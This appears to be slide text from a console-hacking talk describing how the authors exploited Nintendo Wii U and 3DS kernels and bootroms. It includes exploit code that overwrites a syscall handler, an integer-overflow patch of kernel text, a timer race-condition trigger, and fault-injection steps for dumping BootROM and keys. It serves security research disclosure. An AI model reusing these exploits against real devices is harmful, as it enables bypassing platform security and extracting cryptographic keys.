Relevant part of IPCKDriver_SubmitRequest syscall
struct ioctlv_ent {
u32 phys;
u32 size;
u32 virt;
};
struct ios_packet {
/* ... */
union {
/* ... */
struct { struct ioctlv_ent *ent; } ioctlv;
} virt;
}
struct ios_packet pkt;
copy_in(&pkt, ...);
/* ... */
for (idx = 0; idx < pkt.args.ioctlv.num_in; idx++) {
struct ioctlv_ent *ent = &pkt.virt.ioctlv.ent[idx];
ent->phys = KiEffectiveToPhysical(..., ent->virt); //Uhhhhhm?!
if (!IPCKDriver_CheckAddress(..., ent->phys, ent->size))
return ERR;
}
Relevant part of PPC kernel
; PPC kernel version 11464
0xFFF0F700 cmpwi r31, 0
0xFFF0F704 mtlr r28
0xFFF0F708 blr ; User controlled branch.
; ...
0xFFF0F7F0 KeLoaderCall:
; ...
0xFFEAA0E0 syscall_table:
; ...
0xFFEAA21C .long KeLoaderCall ; =0xFFF0F7F0, syscall 0x4F
Relevant part of exploit
void kmode_func() { /* Just kernel mode things. */ }
/* Overwrite last byte of syscall 0x4F handler address with 0x00. */
ioctlv(..., (struct ioctlv_ent *)(0xFFEAA21C+3));
/* Execute syscall 0x4F with r28 set to kmode_func. */
asm ("mr 28, %0\n"
"li 0, 0x4F00\n"
"sc\n" : : "r"((u32)kmode_func));
Quite nice but we can and need to go deeper
int IOS_CreateMessageQueue(u32 *buf, int num_ents) {
if (!check_addr_arm(buf, 4 * num_ents, ...))
return ERR;
/* ... */
new_queue->buf = buf;
new_queue->max_ents = num_ents;
/* ... */
return new_queue->id;
}
int IOS_SendMessage(int id, u32 msg, u32 flags) {
/* ... */
msg_queue->buf[msg_queue->pos++] = msg;
/* ... */
}
Section | Start | End | Permissions |
KERNEL_TEXT | 08120000 | 08136000 | RX |
KERNEL_DATA | 08140000 | 08142578 | R |
KERNEL_DATA | 08143000 | 08150000 | RW |
KERNEL_BSS | 08150000 | 081B5230 | RW |
Actually these permissions are lies.
Relevant part of memory and IOSU kernel
0x0811FFF8 ; valid address
0x0811FFFC ; valid address
; Start of IOSU kernel .text section (RWX).
0x08120000 syscall_4F:
0x08120000 STMFD SP!, {R4,R5,LR}
; ...
Relevant part of exploit (ROP in reality)
/* Create hax message queue and patch syscall 0x4F. */
int mq = IOS_CreateMessageQueue(0x08120000 - 8, 0x40000002);
IOS_SendMessage(mq, 0xDEADC0DE, 1);
IOS_SendMessage(mq, 0xDEADC0DE, 1);
IOS_SendMessage(mq, 0xE12FFF13 /* BX R3 */, 1);
/* Use syscall 0x4F for kernel mode shenanigans. */
Integer overflow: 4 * 0x40000002 = 0x100000008
Lets us also dump the console's OTP and grab all the keys (except for boot1)
State: READ BANK 1 (cmd 0x00 0x30): Addr 0x1348C000 (row 0x26918)
State: READ BANK 1 (cmd 0x00 0x30): Addr 0x1348C800 (row 0x26919)
State: READ BANK 1 (cmd 0x00 0x30): Addr 0x1348D000 (row 0x2691A)
boot1 parses an .xml file!
We need to exploit boot0 to get the key.
...Surprisingly, boot0 is pretty safe.
How can you exploit something that has no bugs?
We have to introduce our own bugs.
Understands the WiiU's filesystem.
XML parsing code seems safe :-(
Maybe we found a bug...
... but we haven't really tried to exploit it.
It's just the WiiU after all.
Main changes for version 11.2.0-35U: "Further improvements to overall system stability and other minor adjustments have been made to enhance the user experience"
MPEG header parsing
#define MAX_NAME_LENGTH 256
MPEG::MPEG() {
char *song_name = malloc(MAX_NAME_LENGTH);
}
MPEG::parse_file(...) {
...
MPEGParser::load_song_name(song_name, ...);
// parse tags
...
}
MPEG::load_song_name(dest_buffer, ...) {
...
if (ascii) {
safe_strncpy(dest_buffer, file->name_tag, MAX_NAME_LENGTH);
} else if (unicode) { // starts with 0xFEFF or 0xFFFE (BOM)
memcpy(dest_buffer, file->name_tag, file->name_tag_size);
}
...
}
void KTimer::pulse() {
mutex_lock(&ktimer_lock);
// reschedule timer
mutex_unlock(&ktimer_lock);
KSynchronizationObject::Signal(reset_type == PULSE_EVENT);
}
void KSynchronizationObject::Signal(is_pulse) {
mutex_lock(&sched_lock);
// signal all waiting objects..
if (is_pulse) {
// virtual function call, just does `is_signaled = false;`
reset_timer_state();
}
mutex_unlock(&sched_lock);
}
Nothing prevents an asynchronous CloseHandle!
void try_race() {
svcCreateTimer(&timer, PULSE_EVENT);
// initial_pulse, pulse_period
svcSetTimer(timer, 8000, 0x1000000000);
svcCloseHandle(timer);
}
ROM:FFF25AC8 LDR R0, [R7]
ROM:FFF25ACC LDR R1, [R0,#0x34]
ROM:FFF25AD0 MOV R0, R7
ROM:FFF25AD4 BLX R1 ; controlled
(*r7+0x34)(r7)
0xFFF00000-0xFFF2E000
.
svcSetTimer(timer,
0x8000000000000000 - tick_to_ns(svcGetSystemTick()), // initial
(dest_function & 0x7FFFFFFF) << 32) // period
svcSetTimer(timer,
0x8000000000000000 - tick_to_ns(svcGetSystemTick()), // initial
(dest_function & 0x7FFFFFFF) << 32) // period
svcSetTimer(timer,
0x8000000000000000 - tick_to_ns(svcGetSystemTick()), // initial
(dest_function & 0x7FFFFFFF) << 32) // period
svcSetTimer(timer,
0x8000000000000000 - tick_to_ns(svcGetSystemTick()), // initial
(dest_function & 0x7FFFFFFF) << 32) // period
ROM:FFF1B65C LDR R1, [R1,#0xC] ; <- r1 points here
ROM:FFF1B660 STR R1, [R0] ; *r0 = *(r1+0xC)
ROM:FFF1B664 BX LR ; return cleanly
ROM:FFF1B668 ADD R1, R1, #0xC ; <- *(r1 + 0xC) == 0xE281100C
reset_vector:
b 0xFFFF8000
Maybe we can find a bug.
Contains no keys.
Mainly (MMC) driver code.
Also talks to AES engine, SPI Flash, ...
Includes the ARM Exception Vector Table.
Exception | Address |
Reset | 0xffff0000 |
Undefined Instruction | 0xffff0004 |
SWI | 0xffff0008 |
Prefetch Abort | 0xffff000C |
Data Abort | 0xffff0010 |
Reserved | 0xffff0014 |
IRQ | 0xffff0018 |
FIQ | 0xffff001C |
Hardcoded in the bootrom
Problem: exception handler routines should not be static.
→ BootROM redirects exceptions to jumptable in ARM9 RAM.
What about cold boot?
This is interesting...
Not really a bug.
Let's assume we could somehow trigger an early exception.
Probably would just crash.
Some RAM is not cleared on reboot.
This includes ARM9 RAM.
Idea: Write payload to RAM and reboot...
We are just an exception away from BootROM code execution!
How do we trigger an exception?
Exception | Address |
Reset | 0xffff0000 |
Undefined Instruction | 0xffff0004 |
SWI | 0xffff0008 |
Prefetch Abort | 0xffff000C |
Data Abort | 0xffff0010 |
Reserved | 0xffff0014 |
IRQ | 0xffff0018 |
FIQ | 0xffff001C |
Fault injection ahoy!
1. Setup vectors in RAM
2. Trigger Reboot
3. Apply Glitching Magic
4. Reset again
5. Dump BootROM from memory
Not very stable ...
... but works for me.™
In Februray 2014 a FCC documented became public.
Nintendo has changed the CPU of the Nintendo 2DS.
"The difference between FTR-001 and FTR-001(-01) is from CPU with a different security function of the initial program loader that is installed in each model"
There must be a huge bug in the BootROM.
Main boot method: NAND (MMC)
Alternative: SPI Flash
Only boots encrypted, signed firmware images.
Different RSA keys for NAND and non-NAND boot methods.
Two seperate sets of keys for retail/dev mode.
They decided to write their own signature parser...
We haven't dumped the ARM11 BootROM yet.
We could do the Vector-Glitch Hack again...
... but let's try something else.
Can we overwrite any Boot11 data?
They forgot to blacklist the Boot11 data region!
Well, that was easy...
~ Summer 2015
@derrekr6, @naehrwert, @nedwilliamson
3dbrew.org
wiiubrew.org